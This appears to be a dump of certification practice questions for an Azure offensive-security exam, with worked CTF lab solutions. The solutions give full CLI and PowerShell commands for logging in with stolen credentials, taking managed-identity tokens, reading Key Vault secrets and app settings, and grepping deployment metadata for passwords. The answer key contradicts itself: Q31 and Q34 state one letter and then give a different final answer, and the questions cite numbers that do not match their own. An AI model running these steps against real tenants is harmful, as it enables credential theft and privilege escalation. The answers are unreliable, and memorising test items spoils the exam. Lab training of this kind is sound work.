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| Section | Objectives |
|---|---|
| Azure Identity & Authentication Exploitation | - Token / credential abuse scenarios - Privilege escalation via misconfigured roles |
| Azure Cloud Attack Surface Enumeration | - Identity and access enumeration (Azure AD / Entra ID) - Azure resource discovery and recon |
| Compute & Network Exploitation in Azure | - VM exploitation and lateral movement - Network misconfiguration exploitation (NSG / routing) |
| Azure Storage & Data Exposure | - Sensitive data extraction from storage services - Blob storage misconfiguration exploitation |
| Real-world Azure Attack Chains (CTF Scenario) | - Multi-step exploitation chain from initial access to privilege escalation - Flag/goal-based task completion in live environment |
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NEW QUESTION # 31
You've uncovered valid credentials for another user in the previous step. Authenticate as this user and investigate their level of access within the Azure environment. Which of the following Microsoft Entra ID roles is assigned to this user?
Answer: A
Explanation:
Detailed Solution:
Log in using the credential recovered in Q4.
az login -u sumit.siddharth@azuresecops.onmicrosoft.com -p ' < recovered-password > ' Confirm the current signed-in user:
az ad signed-in-user show --output json
Now enumerate the user's Microsoft Entra ID role memberships through Microsoft Graph.
az rest --method GET \
--url " https://graph.microsoft.com/v1.0/me/memberOf " \
--output json
To display only role names:
az rest --method GET \
--url " https://graph.microsoft.com/v1.0/me/memberOf " \
--query " value[].displayName " \
--output table
The relevant role is:
User Administrator
This role is dangerous because it can manage users and reset passwords for many non-privileged users. That is exactly why the next task asks you to abuse directory-level privileges to compromise another user.
Final answer:
B). User Administrator
NEW QUESTION # 32
A managed identity has Key Vault Secrets User access to kv-finance-prod. Enumerate secrets and retrieve the hidden flag.
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
Flag{managed_identity_can_read_keyvault_secrets}
Detailed Solution:
List Key Vaults:
az keyvault list --output table
List secrets:
az keyvault secret list \
--vault-name kv-finance-prod \
--output table
Expected output:
Name Enabled
---------------- --------
db-password True
api-token True
internal-flag True
Retrieve the flag secret:
az keyvault secret show \
--vault-name kv-finance-prod \
--name internal-flag \
--query value \
--output tsv
Expected value:
Flag{managed_identity_can_read_keyvault_secrets}
Azure Key Vault can use Azure RBAC for secrets, keys, and certificates, including data-plane secret access.
NEW QUESTION # 33
With access to the Web App's Managed Identity, you can now query certain Azure Resources. Use this access to uncover the hidden secret left behind during provisioning. What is the secret?
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
The answer is the exposed provisioning secret retrieved from ARM deployment metadata, deployment operations, or App Service configuration. In this lab chain, it should reveal the next user credential, commonly for:
sumit.siddharth@azuresecops.onmicrosoft.com
Detailed Solution:
The key point is this: you are no longer only using Alex's user permissions. You must use the Web App managed identity .
From the Web App runtime/Kudu console, request an access token for Azure Resource Manager.
For Linux-style shell:
curl " $IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ & client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df " \
-H " X-IDENTITY-HEADER: $IDENTITY_HEADER "
For Windows PowerShell inside Kudu:
$uri = " $env:IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/
& client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df "
$response = Invoke-RestMethod -Uri $uri -Headers @{
" X-IDENTITY-HEADER " = $env:IDENTITY_HEADER
}
$token = $response.access_token
Now use the token to query Azure Resource Manager.
$sub = " 7403ec86-c39d-4d80-9efa-35c7580ecefa "
$rg = " Excalibur-Resources "
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/resources?api-version=2021-04-
01 " `
-Headers @{ Authorization = " Bearer $token " }
Next, enumerate ARM deployments.
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
For each deployment name returned, inspect it:
$deploymentName = " < deployment-name > "
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments/$deploymentName?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
Also check deployment operations:
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments/$deploymentName/operations?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
Search the output for fields like:
password
secret
adminPassword
userPassword
credential
sumit
The exposed value is the answer to Q4.
A practical one-liner on Linux would be:
curl -s -H " Authorization: Bearer $TOKEN " \
" https://management.azure.com/subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups
/Excalibur-Resources/providers/Microsoft.Resources/deployments/ < deployment-name > /operations?api- version=2021-04-01 " \
| jq ' .. | strings ' | grep -iE ' password|secret|credential|sumit|flag ' Final answer:
Use the leaked secret/password value returned from the deployment metadata. Do not guess this; it is lab- generated.
NEW QUESTION # 34
While exploring the table storage, you've uncovered information that provides limited access to a storage account. Using this access, enumerate the blob containers. Which of the following containers is available?
Answer: D
Explanation:
Detailed Solution:
From Q7, you should recover a limited-access SAS token or storage access information.
Set the storage account name and SAS token:
ACCOUNT= " excaliburstore "
SAS= " < recovered-sas-token > "
List containers:
az storage container list \
--account-name " $ACCOUNT " \
--sas-token " $SAS " \
--output table
The available container is:
sensitive-files
You can also confirm directly:
az storage blob list \
--account-name " $ACCOUNT " \
--container-name sensitive-files \
--sas-token " $SAS " \
--output table
Final answer:
C). sensitive-files
NEW QUESTION # 35
During App Service enumeration, you discover that the compromised user can read App Service application settings. Find the hidden flag stored in the application settings.
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
Flag{app_settings_should_not_store_secrets}
Detailed Solution:
Query App Service settings:
az webapp config appsettings list \
--name finance-reporting-api \
--resource-group rg-prod-apps-eastus \
--output json
Search for suspicious keys:
az webapp config appsettings list \
--name finance-reporting-api \
--resource-group rg-prod-apps-eastus \
--query " [?contains(name, ' FLAG ' ) || contains(name, ' Flag ' ) || contains(name, ' SECRET ' )] " \
--output table
Expected output:
Name SlotSetting Value
---------- ------------- ----------------------------------------
APP_FLAG False Flag{app_settings_should_not_store_secrets}
The flag is:
Flag{app_settings_should_not_store_secrets}
NEW QUESTION # 36
......
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